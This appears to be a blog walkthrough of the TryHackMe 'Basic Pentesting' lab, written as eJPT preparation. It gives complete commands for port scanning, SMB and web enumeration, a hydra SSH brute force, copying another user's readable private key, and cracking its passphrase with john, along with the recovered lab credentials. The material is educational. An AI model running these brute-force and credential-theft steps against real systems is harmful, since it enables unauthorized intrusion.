Summary
Basic Pentesting is the first machine in my Road to eJPTv2 series. It’s an excellent starting point because it covers several areas that appear on the exam: service enumeration (SMB, HTTP), directory fuzzing, SSH bruteforce, and SSH private key cracking. If you’re starting with TryHackMe and the eJPT, this machine is mandatory.
| Attribute | Value |
|---|---|
| Platform | TryHackMe |
| Difficulty | Easy |
| OS | Linux |
| Room | Basic Pentesting |
| Skills | SMB Enum, Web Fuzzing, SSH Bruteforce, SSH Key Cracking |
Video version
If you prefer to follow the walkthrough step by step, keep reading. The video covers the same process in visual format.
Tools used
nmap— port and service enumerationenum4linux— SMB enumerationgobuster— web directory fuzzinghydra— SSH bruteforcessh2john+john— SSH key hash extraction and cracking
Solution overview
- Nmap reveals SSH, HTTP, SMB ports and an additional service
- SMB enumeration with
enum4linuxreveals two users:janandkay - Web fuzzing with
gobusterdiscovers a/developmentdirectory with hints - SSH bruteforce with
hydraagainst userjanobtains credentials - Inside the system, we access
kay’sid_rsa(root-equivalent user) - The key is protected with a passphrase — cracked with
johnfor final access
Reconnaissance
Connectivity check
ping -c 1 10.X.X.X
TTL=60 → target is Linux. This rules out typical Windows exploits like SMB EternalBlue and orients the strategy toward Unix service enumeration.
Nmap port scan
Initial sweep of all TCP ports:
nmap 10.X.X.X -n -Pn -sS -p- --min-rate=5000 -oG allTCPports
Flag justification:
-nskips DNS resolution, makes scan faster-Pnassumes host is up, skips ping (some firewalls block ICMP)-sSSYN scan — stealthy, doesn’t complete the TCP connection--min-rate=5000forces minimum speed of 5000 packets/sec-oGgreppable output, useful for piping ports to another scan
Once open ports identified, targeted scan with version detection and default scripts:
nmap 10.X.X.X -n -Pn -sS -sVC -p22,80,139,445,8009,8080 --min-rate=5000 -oN basicscan.txt
Key findings:
- 22/tcp — OpenSSH (potential bruteforce vector)
- 80/tcp — Apache (review content and fuzzing)
- 139/445 tcp — SMB Samba (enumeration with
enum4linux)- 8080/tcp — Apache Tomcat (potential admin login)
SMB enumeration with enum4linux
SMB is one of the most rewarding vectors on misconfigured Linux machines. Poorly protected users and shares often leak sensitive information.
enum4linux -a 10.X.X.X
Critical finding: two system users:
jankay
This changes the plan: now we have usernames, opening the door to targeted SSH bruteforce.
Web service enumeration
Before jumping to bruteforce, we check the web for plaintext credentials or hints.
whatweb
whatweb http://10.X.X.X
Identifies the stack: Apache + standard tech. Nothing flashy at first glance.
Fuzzing with gobuster
gobuster dir -u http://10.X.X.X \
-w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt \
-t 50 -x php,txt,html
Finding: accessible /development directory.
Inside, we find dev.txt with a message signed by two people, J and K — matches the users found via SMB. The notes mention that J is using a weak password.
Reasoning: this is the classic “info the dev team leaves by mistake” pattern. The hint is clear:
janhas a weak password → targeted SSH bruteforce.
Exploitation
Attack vector
With the previous findings, the plan is:
- SSH bruteforce against user
janwithhydraand a common wordlist - Once inside, pivot to
kay(likely the user with more privileges, based on the document signature)
SSH bruteforce with Hydra
hydra -l jan -P /usr/share/wordlists/rockyou.txt ssh://10.X.X.X -t 4
Flag justification:
-l jansingle user (not-Lwhich would be a user list)-P rockyou.txtthe most common wordlist for weak passwords-t 44 parallel tasks (higher can cause SSH server lockouts)
Credentials obtained:
jan:armando
Initial access via SSH
ssh jan@10.X.X.X
Now inside the system with jan’s limited permissions.
Post-exploitation
Identity and context
id
uname -a
hostname
uid=1001(jan) gid=1001(jan) groups=1001(jan)
Linux basic-pentesting 4.4.0-...
jan is a standard user without visible privileged groups. Time to enumerate the system looking for the path to kay or root.
System enumeration
Reviewing home directories and accessible files:
ls -la /home/
ls -la /home/kay/
ls -la /home/kay/.ssh/
Critical finding:
kay’s.sshfolder has read permissions for other users, allowing us to read theid_rsa(SSH private key).
cat /home/kay/.ssh/id_rsa
I copy the full key to my attacking machine for processing.
Privilege escalation
Identified vector
kay’s private key is accessible, but it’s protected with a passphrase. If I can crack the passphrase, I’ll have direct SSH access as kay. This is lateral movement, but kay has elevated permissions that jan doesn’t (we’ll confirm this after).
Hash extraction with ssh2john
john can’t directly attack encrypted SSH keys; first we need to extract the hash in a format it understands:
ssh2john id_rsa > kay_hash
Cracking with John the Ripper
john --wordlist=/usr/share/wordlists/rockyou.txt kay_hash
Passphrase obtained:
beeswax
Final access as kay
chmod 600 id_rsa
ssh -i id_rsa kay@10.X.X.X
Entering the passphrase, we get a shell as kay.
Flag capture
cat /home/kay/pass.bak
Final flag:
[contents of pass.bak]
Lessons learned
- SMB is gold on Linux machines —
enum4linuxshould be one of your first moves when ports 139/445 appear. The user list obtained changed the entire plan. .txtfile hints are intentional — In CTFs, files likedev.txt,notes.md,todo.txtalways contain key info. Don’t skip them.- Misconfigured
.sshpermissions — A private key readable by other users is a common vulnerability in poorly administered real-world environments. Always check/home/*/.ssh/. - SSH key passphrases are crackable —
ssh2john+johnis the standard combo. A weak passphrase completely defeats the protection of key encryption.
For the eJPT
This machine exercises skills directly evaluated on the eJPT:
- Nmap enumeration (key syntax and flags)
- SMB enumeration with
enum4linux - Directory fuzzing with
gobuster - Bruteforcing with
hydra - Hash manipulation and cracking with
john
Approximate solving time: 30-45 minutes for someone familiar with the tools.